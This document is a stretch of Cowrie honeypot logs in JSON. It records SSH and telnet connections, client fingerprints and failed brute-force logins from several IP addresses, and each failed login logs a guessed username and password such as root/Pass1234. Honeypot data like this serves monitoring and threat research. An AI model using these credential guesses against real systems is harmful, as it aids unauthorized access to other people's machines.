{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:29.904132Z","src_ip":"45.156.87.204","session":"6cd33431b84e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:30.991811Z","src_ip":"45.156.87.204","session":"6cd33431b84e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33516,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd88e6e4fa9a","protocol":"ssh","message":"New connection: 45.156.87.204:33516 (159.203.135.109:22) [session: bd88e6e4fa9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:32.923546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:32.926794Z","src_ip":"45.156.87.204","session":"bd88e6e4fa9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:33.007652Z","src_ip":"45.156.87.204","session":"bd88e6e4fa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:33.251848Z","src_ip":"45.156.87.204","session":"bd88e6e4fa9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:34.335452Z","src_ip":"45.156.87.204","session":"bd88e6e4fa9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33538,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33592da9bad","protocol":"ssh","message":"New connection: 45.156.87.204:33538 (159.203.135.109:22) [session: b33592da9bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:36.482002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:36.486415Z","src_ip":"45.156.87.204","session":"b33592da9bad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:36.571208Z","src_ip":"45.156.87.204","session":"b33592da9bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:36.816537Z","src_ip":"45.156.87.204","session":"b33592da9bad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119853019714,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:37.832502Z","src_ip":"152.42.224.71","session":"f8c064530bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:37.900759Z","src_ip":"45.156.87.204","session":"b33592da9bad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33572,"dst_ip":"159.203.135.109","dst_port":22,"session":"94656643e09c","protocol":"ssh","message":"New connection: 45.156.87.204:33572 (159.203.135.109:22) [session: 94656643e09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:39.941739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:40.099465Z","src_ip":"45.156.87.204","session":"94656643e09c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:40.102529Z","src_ip":"45.156.87.204","session":"94656643e09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48762,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b334173205","protocol":"telnet","message":"New connection: 152.42.224.71:48762 (10.17.0.5:23) [session: 64b334173205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:40.236997Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48772,"dst_ip":"10.17.0.5","dst_port":23,"session":"c39ff4ae2072","protocol":"telnet","message":"New connection: 152.42.224.71:48772 (10.17.0.5:23) [session: c39ff4ae2072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:40.400949Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:40.485402Z","src_ip":"45.156.87.204","session":"94656643e09c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:41.574569Z","src_ip":"45.156.87.204","session":"94656643e09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56412,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ccce26eaf0a","protocol":"ssh","message":"New connection: 45.156.87.204:56412 (159.203.135.109:22) [session: 1ccce26eaf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:43.770183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:43.774707Z","src_ip":"45.156.87.204","session":"1ccce26eaf0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:43.856909Z","src_ip":"45.156.87.204","session":"1ccce26eaf0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:44.103940Z","src_ip":"45.156.87.204","session":"1ccce26eaf0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:45.315432Z","src_ip":"45.156.87.204","session":"1ccce26eaf0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":47544,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc7859d1195f","protocol":"ssh","message":"New connection: 42.200.78.78:47544 (159.203.135.109:22) [session: cc7859d1195f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.228963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.233415Z","src_ip":"42.200.78.78","session":"cc7859d1195f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":43486,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aa5e64ee288","protocol":"ssh","message":"New connection: 83.111.76.195:43486 (159.203.135.109:22) [session: 2aa5e64ee288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.422372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.425094Z","src_ip":"83.111.76.195","session":"2aa5e64ee288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.574176Z","src_ip":"42.200.78.78","session":"cc7859d1195f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":42864,"dst_ip":"159.203.135.109","dst_port":22,"session":"17500f423d76","protocol":"ssh","message":"New connection: 170.106.151.211:42864 (159.203.135.109:22) [session: 17500f423d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.590437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.594961Z","src_ip":"170.106.151.211","session":"17500f423d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.663061Z","src_ip":"170.106.151.211","session":"17500f423d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.774796Z","src_ip":"83.111.76.195","session":"2aa5e64ee288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lp123456.","message":"login attempt [root/Lp123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:46.967453Z","src_ip":"170.106.151.211","session":"17500f423d76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56424,"dst_ip":"159.203.135.109","dst_port":22,"session":"247695ba1490","protocol":"ssh","message":"New connection: 45.156.87.204:56424 (159.203.135.109:22) [session: 247695ba1490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:47.228970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:47.233532Z","src_ip":"45.156.87.204","session":"247695ba1490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:47.318003Z","src_ip":"45.156.87.204","session":"247695ba1490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qq@","message":"login attempt [root/123456qq@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:47.331413Z","src_ip":"42.200.78.78","session":"cc7859d1195f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:47.563993Z","src_ip":"45.156.87.204","session":"247695ba1490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root1234","message":"login attempt [ubuntu/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:47.582443Z","src_ip":"83.111.76.195","session":"2aa5e64ee288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:48.038186Z","src_ip":"170.106.151.211","session":"17500f423d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:48.546442Z","src_ip":"42.200.78.78","session":"cc7859d1195f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:48.648194Z","src_ip":"45.156.87.204","session":"247695ba1490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:48.788594Z","src_ip":"83.111.76.195","session":"2aa5e64ee288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36184,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc43ff99b659","protocol":"telnet","message":"New connection: 152.42.224.71:36184 (10.17.0.5:23) [session: fc43ff99b659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:56:50.588002Z"}
